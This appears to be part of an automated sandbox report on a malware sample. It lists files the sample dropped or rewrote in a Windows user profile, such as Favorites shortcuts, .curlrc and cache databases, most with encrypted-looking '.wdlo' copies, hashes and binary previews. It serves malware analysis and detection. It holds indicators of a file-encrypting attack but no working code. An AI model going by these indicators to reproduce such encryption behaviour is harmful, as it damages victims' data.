SHA-512:	C21CDAFB43967BDF146C2E02EC33021FDAA264CEDF851F1379FE10D2A68DE7C9107D4CF884AF9853DF7E8E960FC5E45B8B38881FB129D8302B1649785F65AC3F
Malicious:	false
Preview:	[{000.+.3W..KGW..1......Ma.....T........]B....R'..-.Z./...,.G...#d..}.6....\|.#.e.4^x.+.Q,2...y.... w.;...B..~r......=Xf.$v.W.F.Wi..@..'"/a8..G......h.E.......8.t-..W.......I+...C.w>.D_T...s.....pf...R.......]..7e...!..46\|RcM..............0VL.....!.........+..y<...$i.ov2......n.'\O..x..'fj{q..."1...].....W=........<....M.f.uNC d??c..?..j...HDj./.'>.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.469766184998918
Encrypted:	false
SSDEEP:	12:uVOo2uJBMOKB1CU/RlZtOtcz3esmhD36Wcii9a:WOoBS+SRJsoOxD3zbD
MD5:	748A4B4703EA74EB4093DB12370992BD
SHA1:	E385EEE85B01EF38380CB260E3AD98CD6342139B
SHA-256:	35E2D9A8CB2F48F6BB642A25598856F4AF53E0220B2B331D1DC11205C822554D
SHA-512:	C21CDAFB43967BDF146C2E02EC33021FDAA264CEDF851F1379FE10D2A68DE7C9107D4CF884AF9853DF7E8E960FC5E45B8B38881FB129D8302B1649785F65AC3F
Malicious:	false
Preview:	[{000.+.3W..KGW..1......Ma.....T........]B....R'..-.Z./...,.G...#d..}.6....\|.#.e.4^x.+.Q,2...y.... w.;...B..~r......=Xf.$v.W.F.Wi..@..'"/a8..G......h.E.......8.t-..W.......I+...C.w>.D_T...s.....pf...R.......]..7e...!..46\|RcM..............0VL.....!.........+..y<...$i.ov2......n.'\O..x..'fj{q..."1...].....W=........<....M.f.uNC d??c..?..j...HDj./.'>.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.404420383335588
Encrypted:	false
SSDEEP:	12:/soSpKNkxmoyRUU2nAdYK6mPRwKvXcy/MkY36Wcii9a:WwNkxTwYA6pmiKvXcy/i3zbD
MD5:	8910F1227ADC48EF711F89210E4F5FF0
SHA1:	F3DE7957DBE5ACF16B24742F1C0F9E6EA85552C5
SHA-256:	0DFF40EA04628F9EE6CA3A4DA092DC9C836079DC0D0A36381C7C313D261F14E6
SHA-512:	CB449A0113D237D39D3A82A8AEC0C80CF25846ECA203D3ACD4E27B24696BAE2358B4F90F0347F45B826E29446D66EA9BF7C672149E39A3E330296C4CD7CB928B
Malicious:	false
Preview:	[{000...{..KU.Rh.(....&."....A.?..8.&;.=V.S3...Y..g1j...5.l.ZL.?...c2.Q...U.. .c.._.<BKB..bRZ..mX..a..@Z5<.......>>.T.V...j?rkb\|D7..w8...M...j..w..Q../.;.e\|W...g....p.1..........@x..L...42>l..d%.?<......0..9e..!W1(lR..t"HT.9...DUQ.n..=..x.....g.8.3.9.*.g.b......e.S........p..o..]A.,..F.+..U......P.{.....`.>Y..p..,.........j.....V..n...s;.....WD.,.0.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.404420383335588
Encrypted:	false
SSDEEP:	12:/soSpKNkxmoyRUU2nAdYK6mPRwKvXcy/MkY36Wcii9a:WwNkxTwYA6pmiKvXcy/i3zbD
MD5:	8910F1227ADC48EF711F89210E4F5FF0
SHA1:	F3DE7957DBE5ACF16B24742F1C0F9E6EA85552C5
SHA-256:	0DFF40EA04628F9EE6CA3A4DA092DC9C836079DC0D0A36381C7C313D261F14E6
SHA-512:	CB449A0113D237D39D3A82A8AEC0C80CF25846ECA203D3ACD4E27B24696BAE2358B4F90F0347F45B826E29446D66EA9BF7C672149E39A3E330296C4CD7CB928B
Malicious:	false
Preview:	[{000...{..KU.Rh.(....&."....A.?..8.&;.=V.S3...Y..g1j...5.l.ZL.?...c2.Q...U.. .c.._.<BKB..bRZ..mX..a..@Z5<.......>>.T.V...j?rkb\|D7..w8...M...j..w..Q../.;.e\|W...g....p.1..........@x..L...42>l..d%.?<......0..9e..!W1(lR..t"HT.9...DUQ.n..=..x.....g.8.3.9.*.g.b......e.S........p..o..]A.,..F.+..U......P.{.....`.>Y..p..,.........j.....V..n...s;.....WD.,.0.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.415704050945897
Encrypted:	false
SSDEEP:	12:JPQ3+8sDdCcrBPOHr3Ah7ulz+8KovXMGPZ436Wcii9a:R8+rBPODAhCl+8FlB43zbD
MD5:	F7B1A50BC41408A375BCB08D641FEC67
SHA1:	AE24C9C9E255AA844A3C9E34708168E612AD5264
SHA-256:	C507BA8E466F8A164A8C7C0F31CA3582C4CC1EC92377CF054AEDD693CCB921E9
SHA-512:	C38A0601C0D0B67369B0E7B8207425C2A33DFC0B7FB8DB07FBAF2B3A8CCED9297039B8643B83726E46B2E45D53DC0336608A08EAFCCDB0FF1A9B86B69A94B5A0
Malicious:	false
Preview:	[{000.'....6.o.Ua...o..).S...7.N...9..w.z....rA$......t.`b.9.....DX.....h_.u..q}C.2....<.........}.m".7.....wM(..f..Qx....lOVfw..5../..5...8...zc...2.".8..9...Mw../....!@K?..8M......=..cFI:........2".....Z..Q..A...c.:h.o..i..U;.....r.?..<]j.4-2fw..#b.]M.tCam..(..).tn.l......r.y...,....4t#2zyws%..N9...&..#T.f..kb.._.....h.L...}..I...#...T.x.G.....e.l..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.415704050945897
Encrypted:	false
SSDEEP:	12:JPQ3+8sDdCcrBPOHr3Ah7ulz+8KovXMGPZ436Wcii9a:R8+rBPODAhCl+8FlB43zbD
MD5:	F7B1A50BC41408A375BCB08D641FEC67
SHA1:	AE24C9C9E255AA844A3C9E34708168E612AD5264
SHA-256:	C507BA8E466F8A164A8C7C0F31CA3582C4CC1EC92377CF054AEDD693CCB921E9
SHA-512:	C38A0601C0D0B67369B0E7B8207425C2A33DFC0B7FB8DB07FBAF2B3A8CCED9297039B8643B83726E46B2E45D53DC0336608A08EAFCCDB0FF1A9B86B69A94B5A0
Malicious:	false
Preview:	[{000.'....6.o.Ua...o..).S...7.N...9..w.z....rA$......t.`b.9.....DX.....h_.u..q}C.2....<.........}.m".7.....wM(..f..Qx....lOVfw..5../..5...8...zc...2.".8..9...Mw../....!@K?..8M......=..cFI:........2".....Z..Q..A...c.:h.o..i..U;.....r.?..<]j.4-2fw..#b.]M.tCam..(..).tn.l......r.y...,....4t#2zyws%..N9...&..#T.f..kb.._.....h.L...}..I...#...T.x.G.....e.l..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.433834193511776
Encrypted:	false
SSDEEP:	12:jKYvZqwtJ+O+JoAio2IbPE5i0bxDx36Wcii9a:GiLtJ+pJolo293zbD
MD5:	6C46E38CC8AF900FE457AD9062606F53
SHA1:	D41D5C48BD0C01D4F1A26B54AEFB4DE623825928
SHA-256:	00D83154093DE517C611905AC6010A1BFD36DD5E67794AAB3EAC55677099FB29
SHA-512:	8FC05FE14A67CDADA1CB55C2EB64639F1818A1BB9046E0D704A079A05C6FEF9F003913B1935A4D07B38B51B0F7DDB3C2EB01C493D2D1EBF279DD17F6713CBA5F
Malicious:	false
Preview:	[{000%"G6..]..3:.R...>....N7.3...$&&..M..E.b...b.==....3yk.kL[....t.Q.FL. .d.6....)..."2...(..].&^.u...DsC.hL\|.>.=%...7m.....l..v..J.S....K..%.E?....9p./..:........C....:..Q(yJ.6A.....C.......;S`d..{;(..L.z.B.B....&............N.g..s..,........q.F=............Ua..tMp.......M..E.gW.`q...^..,~.@............k.^..`.g2;....5.5.......;..F.:.t..}P.ei0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.433834193511776
Encrypted:	false
SSDEEP:	12:jKYvZqwtJ+O+JoAio2IbPE5i0bxDx36Wcii9a:GiLtJ+pJolo293zbD
MD5:	6C46E38CC8AF900FE457AD9062606F53
SHA1:	D41D5C48BD0C01D4F1A26B54AEFB4DE623825928
SHA-256:	00D83154093DE517C611905AC6010A1BFD36DD5E67794AAB3EAC55677099FB29
SHA-512:	8FC05FE14A67CDADA1CB55C2EB64639F1818A1BB9046E0D704A079A05C6FEF9F003913B1935A4D07B38B51B0F7DDB3C2EB01C493D2D1EBF279DD17F6713CBA5F
Malicious:	false
Preview:	[{000%"G6..]..3:.R...>....N7.3...$&&..M..E.b...b.==....3yk.kL[....t.Q.FL. .d.6....)..."2...(..].&^.u...DsC.hL\|.>.=%...7m.....l..v..J.S....K..%.E?....9p./..:........C....:..Q(yJ.6A.....C.......;S`d..{;(..L.z.B.B....&............N.g..s..,........q.F=............Ua..tMp.......M..E.gW.`q...^..,~.@............k.^..`.g2;....5.5.......;..F.:.t..}P.ei0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.386735778260431
Encrypted:	false
SSDEEP:	12:6LoIzOr2Bnw46JRmJ03aOI9u1FnBcNxT36Wcii9a:gofroL6JRmJ03aOLBaxT3zbD
MD5:	3FD5F2DEE59C20DEACCD2A3D1A11C604
SHA1:	CBDEB4BCDD0DC6F414CF608A6743A3A871503461
SHA-256:	52C456B1F048AB267D0B834A80CDFAA615912E6300613B433F3A291B4253B351
SHA-512:	9E438CBF2D7D59DEB5BD5F156F99D81118874F7901135DAC22CC0023AC8394B8BF5BBFADD115C45E6A73DCBB3FC0B53970DB2E715CF49AAFFD5C3754D8F21F6F
Malicious:	false
Preview:	[{0004......pub0. <..X7.=..Jc...h...x/...?Y..`.a...gE.(...B....,..4..!#.s.h<.d.s..<j....M:....W....;=J....)g.@.........}h.V8.....Xr..a.....w...g...x3.. H;...... ./.k.rM...6G.X.>#.\|IP<.}...\|...,...k.X.Qe....Ef...,#C\Qi..v.QSQ4...`&.x.=,..6Z69C.z ^...;..v...l.>......_...1/...........k.9.h...}.E.l+W.k-..8.n...?.....UYG.$..J0..nu...(L...#......x..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.386735778260431
Encrypted:	false
SSDEEP:	12:6LoIzOr2Bnw46JRmJ03aOI9u1FnBcNxT36Wcii9a:gofroL6JRmJ03aOLBaxT3zbD
MD5:	3FD5F2DEE59C20DEACCD2A3D1A11C604
SHA1:	CBDEB4BCDD0DC6F414CF608A6743A3A871503461
SHA-256:	52C456B1F048AB267D0B834A80CDFAA615912E6300613B433F3A291B4253B351
SHA-512:	9E438CBF2D7D59DEB5BD5F156F99D81118874F7901135DAC22CC0023AC8394B8BF5BBFADD115C45E6A73DCBB3FC0B53970DB2E715CF49AAFFD5C3754D8F21F6F
Malicious:	false
Preview:	[{0004......pub0. <..X7.=..Jc...h...x/...?Y..`.a...gE.(...B....,..4..!#.s.h<.d.s..<j....M:....W....;=J....)g.@.........}h.V8.....Xr..a.....w...g...x3.. H;...... ./.k.rM...6G.X.>#.\|IP<.}...\|...,...k.X.Qe....Ef...,#C\Qi..v.QSQ4...`&.x.=,..6Z69C.z ^...;..v...l.>......_...1/...........k.9.h...}.E.l+W.k-..8.n...?.....UYG.$..J0..nu...(L...#......x..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.208228860326137
Encrypted:	false
SSDEEP:	6:KWM2B58X9BcfF4WamHJN+ha5VQ4hmN7HB7unYCWfFBY576ERHZFDy0Xk4OsVolWL:NMXX9qfF4WtHJE94h8bOYtY5uETFDy0Z
MD5:	9D25191AEDF1B450C108BE4320AE3686
SHA1:	AF111DE60BD7F1B6CFDB44123B29E3ABEB511D74
SHA-256:	0C51DC94BD63595CE9A742488F6D06BF1FCF0B3F5F7851A0C5E3741061E8BDE9
SHA-512:	816A134B7415C990168AF23E8935614672E69056194263DFCFAF97A31899103493BFD2886EBC633D57F2C8E8EBA46A2122D64962A1CCBC3A938ABCB7DB3510C2
Malicious:	false
Preview:	insec...#.$s.b...Zt.rw..I.%..X.F.........$.%.d...4...........q.!.p....>.....c.<.....F.<..]7......Y.V9.... .lD.Q]..\|.o70.V.u$S..L.}..<w1._.!..0...i"...by.\|$...!H.z~8......9.2....E2.oX.k%CsL}.a....g......=...TX..d......b*M+oXq f2.4=P.....G.XR...hi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	5197
Entropy (8bit):	7.959449434896307
Encrypted:	false
SSDEEP:	96:C2Ol4psfnkxH0F1o3ZfL92TnKBmVco8xBBLQXc+kYthetJAuemyN:CksfkxtfL92jKBmWVyKWhevAuh4
MD5:	E2168FA2E85D3C82FA32507704A68A1D
SHA1:	948EEC5228ACA4BF6B54229144746ED5E945440A
SHA-256:	18C0E9D45CFBAD4005C2406730CD8713BD84067FD9B0A4162A90ADC67334586C
SHA-512:	AC404B3CCB92CE9598B80C9E266751784F3C2223AB51A94428659538FC043B14DB7B4F5F644E3DCF43D147083DB805800EBD2E754C6EE909852F77000DE2B02D
Malicious:	false
Preview:	.{.:Sp.E6=.6..c..[.....V...c.....I%U.s1..,.).e@51.....{~....@...~.....V.Fs..-..p........'.3...%...@.A..I.?.6.O.IxC.....E{..G5..&.3.\|...f..H.R..L..X.....pu.I..\|L.%{....k.g...U....YN..../...E,M.\|K......>.<..'=.V@.-Bo)..Q..#iL.V....=..j.M@{R.tQ...j1e..K.lP.\.@....T..!3.E.L._&..q..U..nNu..n_.}#.dJ[..-.'..U.)..`..+....d2.5!FI$.s=?..S..P~..?y..5...aWg.......o..6.........&hgZ...<c8.#..nM..B..@J...LU..AS.U.^J..v\|Ty=.dlk.%....]."..._..`#.\....__m....^U...MW.......fk.R.y../.D.y!.U.p.f.;..s.z/..A..Z...<.+......f..%........3(zO.....p[,...U...4.D:.....Q.Qk.w.?..+.Py..3d...l..C.q.p..\|-.gX...:C.....&...4..7...H......x.\|.....K@o...W.7^t....h..>.;...o{.iH.4.....#5#...{u..>.0.TS....Q...t.#o..l...E..n..P.BObn<.x....K%.....b.s.Jn...!..x.,.....%...U.....+..Z.,..)G.. f..t..gK.x...W..T.&.S...).5.pP.yj.Q"......,>.y.....'..o.U....-:..].c#....h.B.\.t..5....r.*O..+..xO....c...../....k.(.....1.@<....h...u.A>..8...!...H..v.c.x.Iss:z...4A..2.^.....w?.@K1.i.uH..p

C:\Users\user\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	7.801430415448894
Encrypted:	false
SSDEEP:	24:A2nhn9CpanFB53+F1SyF0fdo8GOahBywzlY/FI3Kkd3zbD:N7FL3+1S40fd5GHhPYtI7d3nD
MD5:	C5E8385FF61CC616E0CA49E23DB00270
SHA1:	2D200965DCCFE9BBE926F2D88907498C761D4B6E
SHA-256:	969317E62AAEB668CC329A0FC8CF7748BC6AC97F3AE4AF88ACBDF23C4C0C2E6C
SHA-512:	0BB79A9E45368753064F75C58C5D051D1C590DC011C177C4E9C172709BCA4AC0B6A7C480839C1A318C23CC817D13F2E06186F8474A0B4EACE69B2115D0FB4420
Malicious:	false
Preview:	....C.S.....q*\.d=..C......@.`;...Ce..a....-4....$.g..5...i&..:....i6L\|n..,../.....O..+IW..2^!..!...>.ve..>.R..?6T....7.K.......by..VM.#.. ....-.x..C./...[..o[g.P.....Q).rq.@CV...A..J.;.~..dIm...[......y.d..o..."...?...5..+....XV.......iF).7..@S../@.dQ........`....D.t:b........5X..W..#=....<.O....E....p.P.l>fSY..gas..b..T...}35F.U...TR...$.6..1@.`.....r....u.......~.Zr...Z.AUF.....;...a.<r.[.....eP..L.....i.....m0K..kI. 5L.l%Z..JhyM.,..+RcO.JBSW...p....t.[.j....t.I.@!.S.=f..e.l^I.%..{7..n.....(.u&>.J../..7K.....k.....o..(x1!?..)Lh....l........_`M..y..(L.....F..nA...c.t....G,kY1...[q....=V@..'...,...P.......;v..\..I'......?..+....-3.Bq`. .oT_.7.7..d.{....6@.o.~...L~L.v..fH...zQ.,.<HAjP..<....h..!.x^......%.".....tA^...(....~.Yj...9...O.WF..M'U........@.....v........W..N....xg ..jR.(LN..t.CG.....C..%Q.).i...~.g~._...k.&k..5.......Xy....M.R.\.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1303
Entropy (8bit):	7.829228693624953
Encrypted:	false
SSDEEP:	24:zrx3HL9JFygWPCGcCm8wPL46yZDpfqBBPwnIN6Og46b0VH+phs+VniIGgQkpESvK:p3HLBWpcHTdIFSbPoHDiIdTvWq+GAuQx
MD5:	181C6AD45790F8ED05207D023C9E7B79
SHA1:	B97353B0EA367E83FC3F903B376ACF5484166112
SHA-256:	FB962708F4F5AF5B937EE51FF069BE5B150556700E5CB105EE895305445B40F8
SHA-512:	AC32C6EBFB2CEAFFBF8D3302856C56BAC40E2769BE1601DCE5E82322935629A3C8B01102A78551A9342E1AFBE88146A16EDF6F4612C5D98F00040D76943BEB72
Malicious:	false
Preview:	.{....k.U......P&..[O.....bf.A[....qK.......I.lyaU......s.V_....W.t.BU.)W...q...v..."=0.....q\|WY..z. ..=s.V."S...-}.....a.......a..Q....5SN.w.K.27.`@.-j..q,..e...f.UeY..=n>._..@]l...a.HZ....UZxUBJ.....;.q....J...<AA.:.O.{......L/.F..z.wN..Q.;Q.p..8]-.{..V,........">D.....0L<.PX.....0,Y.....f..0.`L.\|K..9..swK/.rlq.EC.1e....(\|.....tF..u...P.?C...K.0D)...3...>i.w.s.....Lb.Y.I.2.KM]x}.~r.0..l.s..E.i;...Vf.s....)5WV.H0T....9..(UN.:CS..Y..?....O..f.d..'...c.........^.......fr.p/.4...(..ae#.....&.6.-....x..<.r....>Hl......\J!xj..A......sr<e.d.......g.c....%...,..".oL......\ng.5f.J.>..a/....T@..'....a...Q..<l....eIf...G2...Cg.....O..)S.p.......X.(.E.R.....1..d...049.....i......@..D<.$g...}PN.VZ.].........{d..-.rI.[......U.\$,.....iKLTN..Y..m...ll;........{..P?Q.k.....B-.6.G......x.^s..<..+#AD.@d.w.oH...g.\.".+:....S.a....\|X......*%..A...j..Z.g.j.!.^...H....y...H....Y....e.V..A.5..c......A..?P.;.........Z:.......r."{..m%nh.l....g.G.\...

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdpresource.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.363852470049662
Encrypted:	false
SSDEEP:	12:iDd7TZjDYlXkBHGedCNkHd8PCrEs936Wcii9a:iDtTAoGSTws93zbD
MD5:	5106E2136BA121E61769400D67597D3F
SHA1:	D8E1B4EF4A78B887992279C42DA23286DE409F19
SHA-256:	DFA72479C7E7227265554D413EAF928C1D0ECF1D1B3D40527A97D940C59D07CF
SHA-512:	96FB53BB4EF60414094E60D926C7489CDBC9FAFAD72185B4112B8F9E62876DA35E5CB96F74D07D12115A3F3550B8CC8F05E4F1D684B27FF3986BE6CDEE4AB9DB
Malicious:	false
Preview:	.{.&w...lB.4..6.d.x....B248.?.....C..KE<l..#<:.x5.(....W[.Tf...=.-.Jk..d.?.&B.,=q.A..hD]..R...^...Q...oX..V3. ....P.S........r..kf..g.lR.=..*...;:2.].Mw.>m.N.L..........t7T...o.3..^..J.......dRW.A$#...sO...XJ...I!n.(:d.Y.4.o.2..v..k...A..;(J.1".".s.\|.......xn..I.?._..{GK.5......?.%....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\IconCache.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	11043
Entropy (8bit):	7.979838563619773
Encrypted:	false
SSDEEP:	192:EdYgGLDJHjGS5qVMF/TckwnLO6b3NdlvOwmAstwDTDSLx/iqglOb:QN8DxjGScMF/T8LOsdlqCDP2x/iT8b
MD5:	F4A507A5B283BD08F6EF46633DAFABD4
SHA1:	84C2E10DEEDCF37D9726A57653C14A9B13C3B7FD
SHA-256:	F11F3FDFBA9D6F30C3BC08CED979E40AA0C99ABCA9B365BCAD435D3814A7F9A8
SHA-512:	67C09F44845E253D83C535C9549C5254032C08A160E0A55D1F195372F1D326BD5EABF27DBEE304D3C14A609BBC13008294D686CB69DA8A45D3BA6FF2EB3EB378
Malicious:	false
Preview:	H...W..'....?......b..[.....1w..............+Um.S..K...W..v...JuN._1Y.Z'E.......C[....K.[.N..m.:n..P$..(.i..bO... ..g...As...9.............B..mAIz.a..C.ae.......R.3.&..x..._.&..I.zav..Z.}w..^.k`u.o.z..`1EW)H@v .{..KQG..2....^....:G.H~K.B:._w..y0F.$..^.E......d..../.&..kNl...#....d.......5] .#..K\|........Y>H.d..[......-.d?[.C.H..3...I..tq}.......3JK=.K...U..e\=..DK(.T0>...F-W]Ib.g..@.vk.zg.J.O...)ne.........^.i...E.....nf.y.`..9..MhJ]..........iD..K...W./crb,B.3...Z...W.b..t\..Q..9Mz7u....V.@c...hb..v..@.-[$#..yQ...Cu..e..sx.q0l..f.H._..........p..a....\|....#.........Qu...........*..${1L.)3$.DQZ.;8.C..;.........rRI.f}...W..<....{.d.d..h.{.d.KE}6.o.Q..J .@.\.04.<U29...R..^.\c0...=.$...Se..0..".tA....0....Y7S...$.>c.U...]E.....f..=...:D.....i.5._E.NR...5JW...0q/.$<..6F...S.....`..l.R.).%.. .4..g..7...4g[..\....U\d...RoQ.....r....q....e..ee.G...388.b.1zIy.d._..Ay.........[.6z..B..W.......pTl...&.v.n9"p..n...?..;0.3\...qNO..B._.tP...jSi..,..

C:\Users\user\Local Settings\Temp\.ses.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.388993238230281
Encrypted:	false
SSDEEP:	12:myYqLYt5H9HgquIwUycgar9Ze36Wcii9a:mypwWqOGe3zbD
MD5:	467F9996FEA64A7C902C1CE853B6401B
SHA1:	9058988A917A375524C1FD3024102E5F50EAB6EF
SHA-256:	CA539B85D8FC998F8F1285373B362A41A9EABBB0F48D8F8A58A5869092550383
SHA-512:	9C7BE1F3CB8C65E73AA778B960419F0A711760076C5C1C16AA7A02A885B59A84B6D3735D803A52EA16C0342C05390DC57A2A491CE7F2C23BD8737802002B76EB
Malicious:	false
Preview:	16964.......(..+zXW@..tc....8...\Q....4\|.V2...N.... (.!...{..q(......;.(..<......gt8../M.=..:_J=...............Wg..0.8.Zac2.8...A..l]..1..Jd...[.Z!.....v...}.Wh.d..:R>.C~..."~.8...~.....m8..e..@.C...~.....x1.Z.W\..chdl..o..Q5/...S.4..A"N.Rz..z#.....Xc...b..7Y..q.3......b.8$v.Y..~.X.rk....?.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db-shm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994062389434623
Encrypted:	true
SSDEEP:	768:eCN6Eu/1KJIHe2+TuPK39Wt7fJr3yuyIXp9AUTPV+88:eK6l12se2PK347xrIIXkgE88
MD5:	F6089057B192AA34C2A2033A57C80CEE
SHA1:	6615E61AAF814F7E37AC2A82F2228129119C407E
SHA-256:	0CE26EB89152BE5725B39909641A6EC76735975DB24B63D4B2EFF7BBE2160696
SHA-512:	350A68680DDF1FE22C413A6E1C18085505DC25DCA1C54B39C895434B07272B5E87DB49C81B7914CC29A794A14B23AA6C6C2F389EFC6B6551722736B2DB96A0D6
Malicious:	true
Preview:	..-..y..7M..(..G.]..._..3....G.k.K..aM.(3.kp 8...!\|7....=..i..!) .f..^"...y...M..{Y.]o+.#H$..Vqq.....7Ni...B\|X.".^.h....R..3q..m..M...q...'.A.>...8.....bS"..,..yT.B...X...E..)./.}..............KTk.......(........;.)..w#[QV..T.XG..Z`.g..~....1.H.v....f.~..s.....0}1J\|?..y...r.A.U/.Lc2.(../).....$.M..N.....Z.i....)5$.>M..Z..mnu....>1f...v!......,I......f\.o..O....a.@..t.....Qq.5.E.]."....u @..C..W.m.D...9.+-JG.I..?..)}...3....9..!..I.....%.+...N[8......[{.\.."q._......P.w.v.?{......;.. .zi..X.!.......m....w..9.$.B...wG..A.....!..Q[.>.s.. \.Td...M..._....o..P.........9...(#.H:X...o....F-.S...HCE.).dFh2kLQ...j.o.v0.....u...u...\|.Nt.w...;j}C..h.e.u1..!.1.....[.1..."....(...;....0.B.1.\|.<..N3pA(..+......su...Q.UD.p..h=o...B-).n.wj0...Z.......Z>.(P..*#[,...".\...+y.s.9..x....PG;.".~...e..7x.bT.6..`........X...V..zc..,">.........z&.o..FV,o.}......W.%........z.....B..i.s...!.....'.....}......R.5E.@.c.C..x..=......OD7..$..GG.H...o.\|..[

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db-wal.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	SQLite Write-Ahead Log, version 8031120
Category:	dropped
Size (bytes):	45686
Entropy (8bit):	7.99617358244185
Encrypted:	true
